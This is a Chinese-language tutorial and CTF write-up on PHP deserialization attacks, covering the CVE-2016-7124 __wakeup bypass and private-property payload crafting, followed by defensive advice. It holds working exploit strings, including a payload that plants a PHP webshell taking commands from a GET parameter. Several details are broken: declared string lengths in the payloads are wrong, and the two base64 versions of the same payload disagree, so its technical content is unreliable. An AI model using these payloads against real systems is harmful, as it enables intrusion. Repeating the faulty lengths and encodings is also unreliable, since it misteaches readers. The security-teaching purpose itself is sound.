PHP反序列化漏洞深度解析:__wakeup绕过与私有属性利用实战
1. 项目概述:一次对PHP反序列化漏洞的深度剖析
最近在复盘一道经典的CTF题目时,我再次被PHP反序列化漏洞中那些精巧的利用手法所吸引。这道题不仅考察了基础的__wakeup魔术方法绕过,还涉及到了对类中私有(private)和受保护(protected)属性的操纵,是一个绝佳的学习案例。很多朋友在初学PHP反序列化时,往往只停留在“知道有这么个漏洞”的层面,对于如何在实际的、经过混淆或防护的代码中构造利用链,总感觉隔着一层纱。今天,我就以这道题为引子,带大家彻底拆解PHP反序列化漏洞的核心,尤其是__wakeup的绕过技巧和私有属性的处理,这不仅仅是解题,更是理解PHP对象在序列化与反序列化过程中内部状态如何被“篡改”的关键。无论你是Web安全初学者,还是想巩固底层原理的开发者,这篇从实战出发的深度解析,都能让你对PHP反序列化的认识提升一个维度。
2. 核心漏洞原理与序列化字符串结构拆解
在深入绕过技巧之前,我们必须夯实基础,理解漏洞究竟从何而来。PHP反序列化漏洞的本质,在于程序将用户可控的、序列化后的字符串重新转换为PHP对象时,会自动调用对象的一些魔术方法(如__wakeup,__destruct)。如果攻击者能够控制序列化字符串的内容,就有可能操纵对象属性,进而触发这些魔术方法中的危险操作,最终实现任意代码执行或敏感信息读取。
2.1 序列化字符串的“语法”
一个PHP对象的序列化字符串看起来像一堆乱码,但其实有严格的格式。理解这个格式是手工构造Payload的前提。我们从一个简单的类开始:
class User { public $username = ‘admin‘; private $password = ‘secret123‘; // 注意这里是私有属性 } $obj = new User(); echo serialize($obj);输出结果类似于:O:4:“User“:2:{s:8:“username“;s:5:“admin“;s:14:“\0User\0password“;s:8:“secret123“;}
我们来拆解这个字符串:
O:4:“User“:表示这是一个对象(Object),类名长度为4,类名是“User”。:2::表示这个对象有2个属性。{...}:花括号内是所有属性的键值对列表。
关键点在于属性名的表示:
- 对于公共属性
$username,直接使用属性名:s:8:“username“。 - 对于私有属性
$password,格式变为:s:14:“\0User\0password“。这里的\0是空字符(ASCII 0)。整个字符串的含义是:长度为14的字符串,内容为“Userpassword”,但在User和password的前面各有一个空字符。这个\0类名\0的格式是PHP用来在序列化字符串中标识私有和受保护属性的内部约定。
受保护属性(protected)的格式类似,为\0*\0,例如protected $email会序列化为s:7:“\0*\0email“。
注意:这里的
\0在代码或Payload中通常需要根据上下文正确表示。在双引号字符串中,可以直接写“\0“,在单引号中或某些传输场景下,可能需要使用URL编码%00,或者直接使用chr(0)来生成。这是后续构造Payload时第一个容易踩坑的地方。
2.2 为什么反序列化是危险的?
危险主要来自于魔术方法的自动调用。最常见的攻击链入口是__wakeup()和__destruct()。
__wakeup():当序列化字符串被unserialize()函数反序列化成一个对象后,如果该对象的类中定义了此方法,则会立即自动调用。开发者常在这里做初始化工作,如数据库连接、权限校验。__destruct():当对象被销毁时(如脚本执行结束、对象被显式unset)自动调用。开发者常在这里做清理工作,如关闭文件句柄、保存日志。
漏洞产生的典型场景是:一个类中,__wakeup或__destruct方法包含了对某个对象属性的危险操作(如eval($this->cmd),system($this->command),file_get_contents($this->file)),而该属性可以通过序列化字符串被我们控制。
3. 关键利用技巧一:__wakeup()魔术方法的绕过
__wakeup()方法本意是让对象在反序列化后恢复到一个安全、一致的状态。因此,开发者常常在其中重置一些敏感属性,或者进行安全检查,试图“修复”攻击者可能篡改的属性值。这就形成了我们攻击的第一道障碍。CTF中经典的绕过方法是利用PHP早期版本中__wakeup方法的一个特性漏洞,但更通用和需要理解的是逻辑绕过。
3.1 CVE-2016-7124:改变属性数量的经典绕过
这是最广为人知的一种绕过方式,适用于PHP 5.6.25之前和PHP 7.0.10之前的版本。其漏洞原理是:当序列化字符串中表示的对象属性数量(即O:4:“User“:2:中的2)大于实际类中定义的属性数量时,__wakeup()方法将不会被执行。
原理解读: 在PHP内部,unserialize()过程大致分为两步:1. 根据字符串重建对象骨架和属性;2. 如果__wakeup方法存在,则调用它。CVE-2016-7124的漏洞点在于,第一步中如果检测到属性数量不一致,可能会在设置完属性后,在第二步调用__wakeup前就设置了一个“跳过唤醒”的标志。这给了我们一个时间窗口:虽然__wakeup被跳过了,但我们在序列化字符串中设置的属性值已经被成功注入到对象中。
实战操作: 假设存在以下漏洞类:
class VulnerableClass { public $cmd = ‘whoami‘; public function __wakeup() { // 开发者试图在这里清空危险属性 $this->cmd = ‘echo safe‘; system(‘echo __wakeup called‘); } public function __destruct() { // 攻击目标,我们希望执行的是我们注入的$cmd system($this->cmd); } }正常序列化字符串为:O:16:“VulnerableClass“:1:{s:3:“cmd“;s:6:“whoami“;}
为了绕过__wakeup,我们将其修改为:O:16:“VulnerableClass“:2:{s:3:“cmd“;s:6:“whoami“;}
注意,我们将属性数量从1改为了2,但后面仍然只定义了一个属性cmd。当这个字符串被反序列化时,__wakeup方法被跳过,而$cmd属性值仍为我们注入的whoami。随后对象销毁时,__destruct被调用,执行的就是system(‘whoami‘),而不是__wakeup中重置的echo safe。
实操心得:
- 版本检查:利用前务必确认目标PHP版本。虽然很多CTF环境仍在使用存在漏洞的版本,但在真实渗透测试中,遇到高版本PHP(>=7.0.10)此方法无效。
- 数量设定:属性数量只要大于真实数量即可,通常多1是最简单的。但要注意,如果类中使用了
__sleep()魔术方法(指定序列化哪些属性),则需要根据__sleep返回的数组长度来判断“真实数量”。- 副作用:在某些PHP版本和配置下,属性数量不一致可能会引发警告(Warning)或通知(Notice),但通常不会阻止反序列化过程和
__destruct的调用。是否触发错误取决于error_reporting设置。
3.2 逻辑性绕过:寻找__wakeup中的缺陷
如果PHP版本已修复CVE-2016-7124,或者我们需要一种更通用的方法,那么就需要仔细审计__wakeup方法本身的逻辑。开发者并非总是将安全逻辑写得滴水不漏。
常见缺陷模式:
条件竞争式重置:
__wakeup中可能先使用某个属性,然后再重置它。public function __wakeup() { $log = “User attempted: “ . $this->command; // 这里先使用了$command file_put_contents(‘log.txt‘, $log, FILE_APPEND); $this->command = null; // 然后才重置 }在这种情况下,虽然
$command最终被置空,但在重置前,其值已经被用于拼接日志字符串。如果file_put_contents的参数完全可控,就可能造成任意文件写入。更极端的情况是,如果这里存在一个文件包含函数,就可能造成更大的危害。不完整的校验:
__wakeup中可能只检查了部分属性,或者检查逻辑存在缺陷(如使用弱类型比较==而非严格比较===),导致可以被绕过。public function __wakeup() { if ($this->role != ‘admin‘) { // 使用 != $this->isAdmin = false; } }如果
$role被设置为数字0,在弱类型比较中,0 != ‘admin‘为真,看似检查通过。但0 == ‘admin‘的结果是false(因为字符串‘admin‘转换为数字是0),这里可能存在逻辑混淆,需要结合后续代码具体分析。依赖其他未初始化对象:
__wakeup中的操作可能依赖于其他对象或全局状态,而这些状态可能在反序列化时还未准备好或可被污染。
挖掘思路:面对一个黑盒或白盒的代码,看到__wakeup不要气馁。把它当作一个普通的函数进行代码审计,寻找其中的命令执行、文件操作、数据库查询等敏感函数,并追踪其参数是否直接或间接来源于对象属性。即使属性在函数末尾被重置,只要在重置前被利用了一次,就足够了。
4. 关键利用技巧二:私有与受保护属性的操纵
这是PHP反序列化中另一个核心难点。由于私有和受保护属性在序列化字符串中有特殊的格式(包含空字符和类名),直接修改字符串时很容易出错,导致反序列化失败或属性值未被正确赋值。
4.1 手工构造Payload的编码问题
当我们从外部(如HTTP请求参数)提交一个序列化字符串时,空字符\0是一个特殊字符,在传输和处理过程中很容易被截断或错误解析。
正确处理方法:
在PHP代码中构造:这是最准确的方式。在攻击机本地编写PHP脚本生成Payload。
class Target { private $flag; } $obj = new Target(); $obj->flag = ‘<?php system($_GET[“c“]);?>'; $payload = serialize($obj); // 输出: O:6:“Target“:1:{s:11:“\0Target\0flag“;s:28:“<?php system($_GET[“c“]);?>“;} // 直接echo或保存,空字符是包含在内的。但如何将这个包含二进制空字符的字符串通过网络发送呢?通常需要
urlencode或base64_encode。URL编码传输:将整个序列化字符串进行
urlencode后作为参数传递。$payload_encoded = urlencode(serialize($obj)); // 结果中,空字符%00会被正确编码为%00 // 例如:O%3A6%3A%22Target%22%3A1%3A%7Bs%3A11%3A%22%00Target%00flag%22%3Bs%3A28%3A%22%3C%3Fphp+system%28%24_GET%5B%22c%22%5D%29%3B%3F%3E%22%3B%7D在Burp Suite等工具中发送请求时,需要确保编码后的
%00不会被二次解码或截断。有时需要将%再次编码为%25(即%00变成%2500),这取决于目标服务器的处理逻辑。Base64编码传输:更通用的方法是使用Base64编码。
$payload_b64 = base64_encode(serialize($obj)); echo $payload_b64;在目标点,通常需要找到一处对输入进行
base64_decode后再unserialize的地方。如果没有,但你能控制输入的全部内容,可以尝试注入类似“;s:11:“\0Target\0flag“;s:28:“evilcode“;}这样的片段来闭合原有字符串,但这要求对原有序列化结构有精确了解,难度更大。
注意事项:
- 引号转义:序列化字符串中的双引号
“被转义为\“。在拼接或修改字符串时,务必保持这种转义,否则会破坏字符串结构。- 长度值:当你修改了属性值(比如将
admin改为superadmin),属性值字符串的长度s:5必须相应地改为s:10。忘记修改长度是导致反序列化失败的最常见原因之一,PHP会严格校验声明的长度与实际字符串长度是否一致。
4.2 利用场景:访问控制与属性注入
私有属性本意是阻止外部直接访问,但反序列化机制绕过了这个限制。这可以用于:
- 篡改身份标识:例如,一个
User类中有私有属性$isAdmin = false,通过反序列化,我们可以将其值改为true,从而在后续的权限检查中提升为管理员。 - 覆盖关键配置:类中可能包含私有属性存储数据库密码、加密密钥等。通过反序列化注入,可以将其覆盖为攻击者已知的值,从而干扰程序逻辑或为后续攻击铺路。
- POP链构造中的关键一环:在更复杂的面向属性编程(Property-Oriented Programming, POP)攻击链中,修改一个对象的私有属性,可能为了触发另一个对象魔术方法中的敏感操作。例如,对象A的私有属性
$obj指向对象B,修改$obj的类为另一个包含危险__toString方法的类,就可能改变程序执行流。
5. 实战演练:一道CTF题目的完整解构
让我们回到文章开头提到的那道CTF题目。假设题目源码(经过简化)如下:
// index.php highlight_file(__FILE__); class Secret { private $key; public function __construct($key) { $this->key = $key; } public function __wakeup() { if ($this->key === ‘sup3r_s3cr3t_k3y!‘) { include(‘flag.php‘); echo $flag; } else { $this->key = ‘default_key‘; echo “Wrong Key!“; } } } if (isset($_GET[‘data‘])) { $data = base64_decode($_GET[‘data‘]); // 这里有一个CVE-2016-7124漏洞的PHP环境 unserialize($data); } else { echo “No data provided.“; }5.1 解题思路分析
- 目标:触发
__wakeup方法中的if条件,使$this->key === ‘sup3r_s3cr3t_k3y!‘为真,从而包含并输出flag.php。 - 障碍:
__wakeup方法中会检查$key。如果我们直接序列化一个key为正确值的对象,在反序列化后,__wakeup会被调用,检查通过,拿到flag。这太简单了,不像CTF。仔细看,$key是私有属性。我们需要正确构造私有属性的序列化格式。 - 潜在陷阱:题目提示环境存在CVE-2016-7124漏洞。这意味着,如果我们能让
__wakeup不被执行,那么$key就不会被检查,也就不会输出flag。这显然不是出题人的意图。结合来看,出题人可能是想考察:即使存在__wakeup,我们也要能正确设置私有属性。但__wakeup里又有一个检查。这里的关键可能是:__wakeup里的检查用的是===(严格相等),而我们注入的$key是一个字符串,只要完全匹配即可。所以,我们只需要正确构造Payload,让私有属性$key的值为sup3r_s3cr3t_k3y!,然后让__wakeup正常执行即可。 - 另一种思路(结合漏洞):如果
__wakeup里除了检查,还有其他我们不想它执行的代码(比如会清空$key),我们才需要绕过它。但本题__wakeup里正是我们想要执行的代码(输出flag)。所以,我们不需要绕过__wakeup,反而需要确保它被执行。CVE-2016-7124在这里是一个干扰项吗?不一定。也许题目是旧题,环境就是有漏洞的版本,但解题不需要利用该漏洞。我们需要确保属性数量正确,以免意外触发绕过导致__wakeup不执行。
5.2 Payload构造过程
本地编写生成脚本:
class Secret { private $key; public function __construct($key) { $this->key = $key; } } $obj = new Secret(‘sup3r_s3cr3t_k3y!‘); $serialized = serialize($obj); echo “Serialized: “ . $serialized . “\n“; echo “Base64: “ . base64_encode($serialized) . “\n“;运行脚本,得到输出:
Serialized: O:6:“Secret“:1:{s:9:“\0Secret\0key“;s:19:“sup3r_s3cr3t_k3y!“;} Base64: Tzo2OiJTZWNyZXQiOjE6e3M6OToiAFNlY3JldAABa2V5IjtzOjE5OiJzdXAzcl9zM2NyM3RfazN5ISI7fQ==注意序列化字符串中私有属性
$key的表示:s:9:“\0Secret\0key“。长度为9的字符串,内容是Secretkey,中间有两个空字符。发送Payload: 将Base64编码后的字符串作为
data参数的值发送:http://target.com/index.php?data=Tzo2OiJTZWNyZXQiOjE6e3M6OToiAFNlY3JldAABa2V5IjtzOjE5OiJzdXAzcl9zM2NyM3Rfa2V5ISI7fQ==结果预期:服务器反序列化后,
__wakeup被调用,$this->key严格等于sup3r_s3cr3t_k3y!,条件成立,包含flag.php并输出其中的$flag变量内容。
5.3 可能出现的变种与应对
如果题目稍微变化,__wakeup中不是输出flag,而是执行$this->key = ‘default‘;,然后再执行其他危险操作(比如将$this->key写入文件),那么我们就需要绕过__wakeup来保持$key为我们注入的值。这时就需要利用CVE-2016-7124。
修改Payload: 将序列化字符串中的对象属性数量从1改为更大的数,比如2: 原始:O:6:“Secret“:1:{s:9:“\0Secret\0key“;s:19:“sup3r_s3cr3t_k3y!“;}修改:O:6:“Secret“:2:{s:9:“\0Secret\0key“;s:19:“sup3r_s3cr3t_k3y!“;}
注意,只改了1为2,后面并没有增加新的属性定义。然后将修改后的字符串进行Base64编码再发送。这样,在存在漏洞的PHP版本中,__wakeup将被跳过,$key不会被重置,后续代码(可能在__destruct中)使用的就是我们注入的值。
6. 防御策略与安全开发建议
理解了攻击原理,才能更好地进行防御。对于开发者而言,避免PHP反序列化漏洞至关重要。
6.1 最佳实践
根本方法:避免反序列化用户输入这是最彻底的安全措施。如果业务逻辑必须使用序列化,应确保序列化字符串不来自不可信的来源(如用户输入、Cookie、不可控的数据库字段)。可以使用JSON等更简单、无副作用的格式进行数据交换。
使用安全的白名单机制如果无法避免,在调用
unserialize()前,应进行严格的检查。- 类型白名单:使用
allowed_classes参数(PHP 7.0+引入)限制可以反序列化的类名。
将// 只允许反序列化MySafeClass和AnotherSafeClass $data = unserialize($user_input, [‘allowed_classes‘ => [‘MySafeClass‘, ‘AnotherSafeClass‘]]);allowed_classes设置为false可以完全禁止反序列化对象,只允许反序列化基本类型(数组、字符串等),这能极大降低风险。 - 数据签名/验签:对序列化后的数据进行签名(如HMAC)。在反序列化前,先验证签名是否有效,确保数据未被篡改。
- 类型白名单:使用
在魔术方法中保持谨慎
- 在
__wakeup()和__destruct()中,避免执行敏感操作,或者对操作的对象属性进行严格的类型和值校验。 - 避免在魔术方法中将对象属性直接用于危险函数(如
eval,system,include)。
- 在
将敏感属性设为不可序列化对于包含密码、密钥等敏感信息的属性,可以在
__sleep()魔术方法中将其排除在序列化范围之外。public function __sleep() { // 只序列化public属性,不序列化$password等敏感属性 return array(‘username‘, ‘email‘); }或者在序列化前,手动对敏感属性进行清理。
6.2 代码审计要点
对于安全研究人员或进行代码审计的开发者,关注以下危险模式:
- 寻找代码中所有的
unserialize()函数,回溯其参数是否用户可控。 - 检查可被反序列化的类(尤其是那些
__wakeup、__destruct、__toString、__call等魔术方法包含复杂逻辑的类)。 - 绘制可能的POP链,思考如何通过控制一个对象的属性来影响另一个对象的行为,最终达到执行任意代码的目的。
7. 常见问题与排查技巧实录
在实际操作和CTF解题中,你会遇到各种各样的问题。这里记录了几个我踩过的坑和解决方法。
7.1 反序列化失败:字符串格式错误
问题:提交Payload后,页面没有任何输出,或者抛出了“unserialize(): Error at offset X of Y bytes”的错误。排查:
- 检查长度声明:这是最常见的问题。确保序列化字符串中每一个
s:后面的数字(字符串长度)与该字符串的实际长度完全一致。例如,s:5:“hello“是正确的,s:4:“hello“或s:6:“hello“都会导致错误。在修改Payload时,务必重新计算并更新所有长度值。 - 检查引号和分号:序列化字符串格式严格,确保所有的双引号
“和分号;都正确存在且未被转义错误。在字符串值内部的双引号前需要加反斜杠\“。 - 检查空字符处理:私有/受保护属性中的空字符
\0是否被正确编码或传输?在Burp中查看Raw请求,确认%00是否被正确发送。有时需要将Payload放在POST Body中发送,而不是URL参数,以避免额外的URL解码问题。 - 检查编码:如果使用了Base64编码,确保编码解码过程无误,没有引入换行符等额外字符。
7.2 __wakeup绕过不生效
问题:按照CVE-2016-7124的方法修改了属性数量,但__wakeup方法仍然被执行了。排查:
- 确认PHP版本:首先确认目标服务器PHP版本是否确实在受影响范围内(PHP5 < 5.6.25, PHP7 < 7.0.10)。可以通过报错信息、PHPINFO页面等方式获取。
- 检查属性数量:确认你修改的数量是大于实际类中定义的属性数量。通过分析源码或序列化字符串确定真实数量。
- 检查__sleep:如果类中定义了
__sleep()方法,它返回一个数组指定哪些属性被序列化。此时,真实数量应以__sleep返回的数组长度为基准。 - 其他干扰:有时题目会设置多个类,或者存在继承关系。确保你修改的是正确类的属性数量。
7.3 私有属性注入后值未改变
问题:Payload发送后,程序逻辑没有按照我注入的私有属性值运行。排查:
- 格式完全正确吗?再次核对私有属性的序列化格式:
\0类名\0属性名。类名和属性名的大小写必须与源码完全一致。空字符的数量和位置必须正确。 - 属性被重新赋值了吗?检查
__wakeup或其他后续方法是否再次修改了你注入的属性值。 - 作用域问题:私有属性只能在定义的类内部访问。如果你注入的私有属性在另一个上下文(比如另一个类的魔术方法中)被访问,可能会因为作用域问题而访问不到或访问到的是另一个副本。这在复杂的POP链中需要仔细分析。
7.4 实用工具推荐
- PHPGGC(PHP Generic Gadget Chains):一个强大的工具,收集了各种PHP反序列化利用链(gadget chains),适用于如Laravel, Symfony, ThinkPHP等流行框架。在已知目标框架版本时,可以快速生成利用Payload。
- 手动构造工具:除了自己写PHP脚本,也可以使用在线的PHP序列化工具辅助理解格式,但涉及私有属性和复杂对象时,本地脚本更可靠。
- Burp Suite扩展 “PHP Serialized Editor”:这款Burp扩展可以解析和可视化修改PHP序列化数据,对于手动微调Payload非常方便,能自动计算长度,避免手动修改出错。
最后,我想分享的一点个人体会是,PHP反序列化漏洞的学习是一个“先苦后甜”的过程。初期会被各种奇怪的字符串格式和魔术方法绕得头晕,但一旦你静下心来,亲手构造几个Payload,并成功触发漏洞后,那种对底层机制豁然开朗的感觉是无与伦比的。它不仅仅是记住一个CVE编号或一个Payload,更是对PHP对象生命周期、内存表示和内部机制的一次深刻理解。在实战中,遇到复杂的、多个类交织的POP链,就像在解一个逻辑谜题,需要耐心、细心和对代码的深刻洞察力。
